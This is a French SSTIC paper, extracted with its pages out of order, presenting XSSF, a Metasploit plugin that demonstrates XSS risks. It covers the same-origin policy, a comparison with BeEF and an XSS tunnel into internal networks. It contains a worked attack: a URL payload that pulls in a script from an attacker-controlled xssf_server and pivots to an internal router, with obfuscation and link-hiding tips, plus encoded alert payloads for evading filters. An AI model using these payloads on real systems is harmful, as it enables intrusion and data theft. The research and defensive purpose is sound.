[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 3: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

304 XSSF demontrer le danger des XSS

ndash Les attaques persistantes (stored XSS) bien que peu presentes (seulement25 de toutes les failles XSS) elles sont beaucoup plus puissantes que lesprecedentes dans le sens ou elles ne requierent aucune action particuliere de lapart de la victime Comme sur les XSS volatiles la vulnerabilite est due a unmanque de controles sur les donnees lors de leur traitement cote serveur et deleur affichage cote client Ce type drsquoattaque est present lorsqursquoil est possibledrsquoinserer du code dans une base de donnees ou dans un fichier lie a lrsquoapplicationrendant ainsi le code malicieux persistant De ce fait une simple visite sur lapage servira a declencher le script malicieux et ce sans que lrsquoattaquant nrsquoaitdrsquointeraction directe avec la victime Lrsquoattaque est frequemment rencontree surdes applications proposant des interactions entre les utilisateurs (forums blogsreseaux sociaux etc)

22 Portee et exploitation de la vulnerabilite

Grace a lrsquoAPI DOM 2 lrsquoinjection offre un acces en lecture et en ecriture a lrsquoen-semble de la page chargee du cote de la victime Il est donc possible en reecrivantla page de la detourner de son usage legitime afin par exemple de la rediriger versun site malicieux lui voler des informations sensibles lui faire executer des requetessans qursquoelle ne srsquoen rende compte etc

Les possibilites offertes par cet acces privilegie aux differents elements de la pagesont enormes si bien que Jeremiah Grossman [8] sous-titrait son livre sur les attaquesXSS en 2007 XSS is the new buffer overflow JavaScript Malware is the new shellcode Ce potentiel qursquoont les failles XSS est aussi du a la grande evolution descapacites du JavaScript au cours des dernieres annees En effet sa puissance permetdesormais de faire tourner des applications riches dans le navigateur web Nousciterons les exemples de Google Gears Google Documents EyeOS et bien drsquoautres

Lors drsquoune attaque applicative les privileges accordes a lrsquoattaquant sont ceuxaccordes au processus qui aura permis lrsquoexecution du code machine (le but etantdrsquoattaquer un processus avec des droits eleves) Pour ce qui est du XSS le processusici correspond a la page web donc a des privileges sur un domaine donne des cookiesetc Dans le meilleur des cas avec une attaque XSS simple lrsquoattaquant peutelever ses privileges afin de prendre le controle sur le navigateur

2 Document Object Model (httpwwwxulfrxml-domhtml)

L Courgnaud 305

Cependant il nrsquoest pas impossible de combiner le XSS avec drsquoautres attaquesciblant le navigateur lui-meme ou lrsquoun de ses greffons Decouverte recemment (22decembre 2010) une faille (de type 0 day 3) dans lrsquoimport de feuilles de styles (CSS)sur Internet Explorer (comme il en existe beaucoup sur drsquoautres navigateurs et leursgreffons) permet de prendre un controle total cette fois-ci non plus sur le navigateurmais sur le systeme de la victime Internet Explorer etant souvent utilise (parti-culierement en entreprise) lrsquoattaque couplee a une faille de type XSS sur des sites aforte audience peut avoir des effets devastateurs sur un nombre important de victimesLe XSS devient alors une porte drsquoentree vers de nombreuses autres attaques secon-daires tres puissantes et touchant un nombre de personnes relativement important(on peut imaginer les degats drsquoune vulnerabilite XSS sur Facebook couplee a unefaille 0 day sur lrsquoun des navigateurs )

Afin drsquoexploiter une vulnerabilite XSS avec des attaques complexes il est possiblede faire appel a des ressources externes (placees sur un serveur malicieux par exemple)plutot que drsquoinserer directement tout le code dans le champ affecte Crsquoest cettetechnique qui est utilisee dans la plupart des cas pour realiser des attaques etrecuperer des donnees sur un serveur tiers

23 Same-Origin Policy (SOP)

Face aux attaques complexes possibles on peut se demander pourquoi un scriptcharge depuis un domaine malicieux est autorise a interagir avec des elements situessur un domaine legitime vulnerable En fait dans la theorie ceci est impossible gracea la SOP ou Same-Origin Policy Quand on srsquointeresse aux vulnerabilites de typeXSS la SOP est lrsquoelement cense limiter la portee drsquoune attaque

Si lrsquoon en revient a une comparaison avec les failles applicatives la SOP est aux at-taques web ce que la DEP (Data Execution Prevention 4) ou encore a lrsquoASLR (AddressSpace Layout Randomization 5) sont aux attaques systemes Elle est implementeedans tous les navigateurs recents (depuis Netscape 20) et a pour but drsquoempecherlrsquoacces (lecture ecriture) a des ressources dont le serveur est different de celui dontprovient la page en cours Concernant les XSS cela signifie qursquoune vulnerabilite sur undomaine A ne permettra pas a partir du navigateur cible drsquoenvoyer ou de recupererdes informations depuis un domaine B (malicieux ou non) Le navigateur se charge decontroler les echanges avec des serveurs tiers lors de la navigation sur une application

3 Lorsqursquoun exploit est disponible avant la sortie du patch permettant de proteger lrsquoapplication4 httpenwikipediaorgwikiData_Execution_Prevention

5 httpfrwikipediaorgwikiAddress_space_layout_randomization

306 XSSF demontrer le danger des XSS

Dans la pratique un script malicieux ne pourra pas effectuer de requetes (GETPOST etc) vers un domaine different de celui qui est vulnerable (avec lrsquoobjetXMLHttpRequest 6 par exemple)

Lrsquoorigine est definie en fonction de trois parametres et deux ressources sont dites dememe origine si ces trois valeurs sont exactement les memes

ndash Le nom du domainendash Le protocole utilisendash Le port TCP utilise

On imagine alors lrsquoimportance de cette politique de securite dont le role estdrsquoempecher par exemple qursquoune vulnerabilite sur httpwwwfacebookcom per-mette a un attaquant drsquoaller recuperer des donnees sur httpwwwgmailcom (avecune session probablement laissee active)

En plus drsquoempecher la recuperation des donnees depuis drsquoautres domaines crsquoestgrace a cette politique que lrsquoattaquant va etre bloque srsquoil veut acceder au perimetrelocal de la victime (serveurs internes reseau Intranet etc) depuis une vulnerabilitesur un domaine public

URL demandee Resultat Raison

httpwwwvulnerablecompagehtml OK Meme domaine meme port(80) meme protocole (http)

httpwwwvulnerablecomotherhtml OK Meme domaine meme portmeme protocole

httpwwwvulnerablecom81otherhtml ERREUR Port different

httpswwwvulnerablecomotherhtml ERREUR Protocole different

httpwwwgmailcomindexhtml ERREUR Domaine different

httpXXXYpagehtml ERREUR Domaine different

Table 1 Possibilites de chargement de ressources pour un script malicieux se trouvantsur http wwwvulnerablecomsearchphp (XXXX)

Cependant et heureusement pour la suite du projet XSSF il existe quelquespasse-droits a cette regle de securite tels que les IFRAMES ou le chargement deressources distantes Pour les objets de type JavaScript par exemple (ltscriptgt) il

6 httpfrwikipediaorgwikiXMLHttpRequest

L Courgnaud 307

est tout a fait possible de charger une ressource drsquoun domaine malicieux B depuis undomaine vulnerable A

Figure 1 Acces direct a une ressource JavaScript

De la meme maniere il est possible de charger des ressources avec les objets detype image CSS etc En revanche bien que lrsquoon puisse charger une page ou executerdu code avec un objet de script distant il sera impossible drsquoacceder (en JavaScript)au contenu retourne Crsquoest le meme principe pour les IFRAMES toujours a causede la SOP Les IFRAMES quant a elles seront tres utiles par exemple pour realiserun POST de maniere invisible vers un serveur distant controle par lrsquoattaquant ounon controle (sur une application tierce vulnerable aux attaques de type CSRF 7 parexemple)

Nous verrons dans le chapitre de presentation de XSSF les differentes faconsutilisees pour contourner le probleme de la Same-Origin Policy politique qui acependant beaucoup de soucis a se faire avec la venue drsquoun nouvel element

24 Arrivee du HTML5 tous aux abris

Bien que les specifications pour ce nouveau standard ne soient pas encore completementdefinies la majorite des navigateurs actuels ont drsquoores et deja commence a suppor-ter cette nouvelle revision du HTML La cloture de lrsquoajout de fonctionnalite pour

7 Cross-Site Request Forgery httpfrwikipediaorgwikiCross-site_request_forgery

308 XSSF demontrer le danger des XSS

ce nouveau standard est prevue pour le 22 mai 2011 et les specifications serontcompletement terminees en 2014

Le HTML5 ne vient pas faciliter le travail de protection contre les failles XSSmais pire encore il elargit la portee des attaques et oblige les developpeurs a reparerdu code deja considere comme sur

Le premier point est lrsquoarrivee de nouvelles balises HTML (ltaudiogt ltvideogt etc)et evenements JavaScript (oncanload etc) qui vont venir ajouter de la complexite acertains filtres deja en place sur de nombreuses applications On peut citer lrsquoexempledes e-mails qui acceptent souvent du code HTML dans leur contenu (images pucesetc) en utilisant des filtres afin drsquoeviter les XSS Lrsquoarrivee de ces nouveaux elementsoblige a remettre a jour ces filtres XSS rendus inefficaces avec lrsquoarrivee du HTML5La page HTML5 Security Cheatsheet 8 montre les differents ajouts pouvant poserde nouveaux problemes et les facons de rendre lrsquoapplication sure a nouveau

Le second point probablement le plus important est lrsquointroduction du partagede ressources entre domaines (Cross-Origin Resource Sharing) En drsquoautres termesle navigateur peut etre autorise a effectuer des requetes AJAX entre des domainesdifferents contournant ainsi la SOP Ceci est rendu possible grace a lrsquoajout de nou-velles entetes HTTP par le serveur autorisant ou non chaque domaine distant aexecuter la requete Ainsi un domaine A pourra charger ou modifier une ressource(GET POST etc) sur un domaine B si celui-ci lrsquoautorise

Cette technique a servi a demontrer une nouvelle XSS sur lrsquointerface web IPhone deFacebook dont le parametre profilephp dans lrsquoURL httptouchfacebook

comprofilephp permettait de charger une page dynamiquement (AJAX - XMLHtt-pRequest) a lrsquointerieur drsquoune balise div Auparavant les developpeurs nrsquoavaientpas reellement a se soucier de la page chargee puisque le navigateur aurait par exempleinterdit le chargement de httpremote-servermaliciousphp (SOP do-maine different)

Grace au HTML5 le chargement est desormais possible si le domaine remo-

